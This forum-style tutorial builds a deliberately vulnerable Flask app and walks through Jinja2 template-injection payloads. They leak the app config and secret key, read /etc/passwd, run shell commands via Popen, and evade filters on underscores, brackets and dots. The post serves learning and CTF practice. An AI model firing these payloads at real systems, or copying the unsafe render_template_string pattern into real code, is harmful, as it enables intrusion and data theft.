Hey, I am chivato, this is my first post on here and I hope it is of some use to people. Exploiting SSTI in strange cases will be the next post I make. Any and all feedback is appreciated <3.
Building the environment:
We start with just a basic flask web application, written in python (I will be using python 2), which is as follows:
from flask import *
app = Flask(__name__)
@app.route("/")
def home():
return "Hello, World!"
if __name__ == "__main__":
app.run(debug=True, host="localhost", port=1337)
This website will just return “Hello, World!” when visited. Now, we need to add parameters so we can interact with the web application. This can be done with the “requests” part of Flask, so we just add request.args.get(‘parameter name’). In my case the parameter will be called “name”, here is how our code should look:
from flask import *
app = Flask(__name__)
@app.route("/")
def home():
output = request.args.get('name')
return output
if __name__ == "__main__":
app.run(debug=True, host="localhost", port=1337)
But since this always returns the value in the get request, if you go to the website without a get parameter called name, you will get an error. To fix this I included a simple if statement:
from flask import *
app = Flask(__name__)
@app.route("/")
def home():
output = request.args.get('name')
if output:
pass
else:
output = "Empty"
return output
if __name__ == "__main__":
app.run(debug=True, host="localhost", port=1337)
Perfect, now we have a flask app that returns the value in the get parameter and doesn’t crash. Now to implement the vulnerability, the vulnerability consists of templates being executed on the side of the server, when we have control of what the template contains, for example a vulnerability was found in Uber by the famous bug hunter known as orange, it consisted of making your profile name follow the template syntax for jinja2 (which is {{template content}} for jinja2). and then when you received the email, the template had been executed. So, imagine you set {{‘7’*7}} as your username, when you receive the email, you will see “Welcome 7777777.”
As stated above, the vulnerability comes into play when the template is executed on the side of the server, and we control the input, so let’s make sure our input is rendered. This can be done with render_template_string from flask. This takes a string, and treats it as text that may have any templates in it, if it does, then it executes the template.
from flask import *
app = Flask(__name__)
@app.route("/")
def home():
output = request.args.get('name')
output = render_template_string(output)
if output:
pass
else:
output = "Sp0re<3"
return output
if __name__ == "__main__":
app.run(debug=True, host="localhost", port=1337)
As you can see, now, if you visit “http://localhost:1337/?name={{‘7’*7}}”, you will be welcomed with “7777777”. We now have our environment setup and ready to play with (later on I will be looking at some simple WAF bypass methods, but for now we are just leaving our script as this).
Recongnising and exploiting the vulnerability:
So template engines are used VERY widely nowadays, and they exist for a variety of different languages, such as PHP, JS, Python (obviously), ruby and many more. The base of why they are useful is in case you have a large website or platform, where not many details change between pages. For example, netflix, has the same layout for it’s content, and the only things that change are: title, description, banner and some other minor details, so instead of creating a whole page per show, they just feed the data to their templates, and then the engine puts it all together.
Template engines can be used for anything that follows that process of having to use the same thing tons of times, so in Uber’s example instead of making a new email every time, they had a single email template, and just changed in the name each time.
So, knowing that we can execute templates, what can we actually do with that, well, honestly a lot.
> Read the configuration.
This can be used to grab the SECRET_KEY which is used to sign cookies, with this, you can create and sign your own cookies.
Example payload for Jinja2:
{{ config }}
> Read local files (LFR).
This can be used to do a variety of things, ranging from directly reading a flag if it is held in the templates folder with a basic {% include ‘flag.txt’ %}, to reading any file on the system this can be via the RCE payload (see next point), or via an alternative.
An example payload of an alternative would be:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
//May vary depending on version.
> Remote command execution (RCE).
Finally, the remote command execution payload. Obviously the most severe and dangerous one, and can be done a variety of ways, one is going through the subclasses and finding the subprocess.Popen number:
{{''.__class__.mro()[1].__subclasses__()[ HERE IS WHERE THE NUMBER WOULD GO ]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
Although I have had much more success with the following payload, which uses Popen without guessing the offset.
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("whoami").read().zfill(417)}}{%endif%}{% endfor %}
You may need to go to the end of the page to skip all the 0’s that are produced from that payload.
Now that some of the basic exploits are over, we can take a look at bypass methods. Let’s start with the parameter bypass method.
Imagine you have a template engine, in this case flask, that takes a value from a parameter and removes any “_” from it. This would restrict us from doing a variety of things, for example {{ __class__ }}. So, this bypass mehtod is based off of the idea that, only that parameter gets checked for the underscores. So all we have to do is pass the underscores via another parameter, and call them from our template injection.
We start with calling the class attribute from request (The waf would block the underscores).
{{request.__class__}}
Then, we remove the “.” and user the |attr to tell the template that we are using request’s attributes.
{{request|attr("__class__")}}
We pipe the whole content of the “attribute” parameter to a “join” function, which sticks all of the value together, in this case it would stick “", “class” and "” together, to create class.
{{request|attr(["__","class","__"]|join)}}
We then remove one of the underscores, and just multiply the single one by two, in python, using “[STRING]”*[NUMBER] will make a new string of the previously stated strings, that amount of times. So “test”*3 would be equal to “testtest”.
{{request|attr(["_"*2,"class","_"*2]|join)}}
Finally, we tell the paytload to get the underscores from the other parameter called “usc”, and we add the underscores to the other parameter, an example URL to use against our script would be:
http://localhost:1337/?name={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&usc=_
This may just return Empty, since we set an if statement that basically stated if out rendered template is empty then just set the output to Empty.
Moving on to the next bypass method, this one is used to bypass the “[”, “]” being blocked, since they are needed for the payload stated above.
It is honestly just a syntax thing, but it manages to achieve the same thing, without having to use any “[”, “]”, or “_”.
Some examples are:
http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
These were pulled from an amazing page called “PayloadAllTheThings”, link can be found at the bottom of the article in the sources part.
Another one is in case “.” is blocked, and it uses the Jinja2 filters with |attr():
http://localhost:1337/?name={{request|attr([%22_%22*2,%22class%22,%22_%22*2]|join)}}
Finally, a bypass method that is used in case “[”, “]”, “|join” and / or “_” is blocked, since it uses none of the previously stated characters:
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
Now these are just the base bypass payloads, but can be combined and manipulated to achieve some amazing things.
Here is a payload I made myself to build a payload that leaks the config:
{{request|attr(["url",request.args.usc,"for.",request.args.usc*2,request.args.1,request.args.usc*2,".current",request.args.usc,"app.",request.args.conf]|join)}}&1=globals&usc=_&link=url&conf=config
Conclusion:
This has just been a basic explanation of how to setup a website vulnerable to SSTI, how the exploitation works, and some basic bypass methods for any WAF’s that you may encounter. Also would like to shout out a moderator from HackTheBox called “makelaris”, since he was actually the one who sparked my interest for SSTI’s, and has taught me a lot about them. If this post is enjoyed and appreciated I will make more about more advanced SSTI exploitation cases, and also how SSTI’s may work and be exploited in other template engines.
Sources:
PayloadAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md
pequalsnp-team: https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti
A good HackTheBox retired machine that has an SSTI step: Oz (https://www.hackthebox.eu/home/machines/profile/152)
A writeup for Oz machine: https://0xdf.gitlab.io/2019/01/12/htb-oz.html
More exploring SSTI’s: https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2.html
Orange’s disclosed bug bounty report from Uber: https://hackerone.com/reports/125980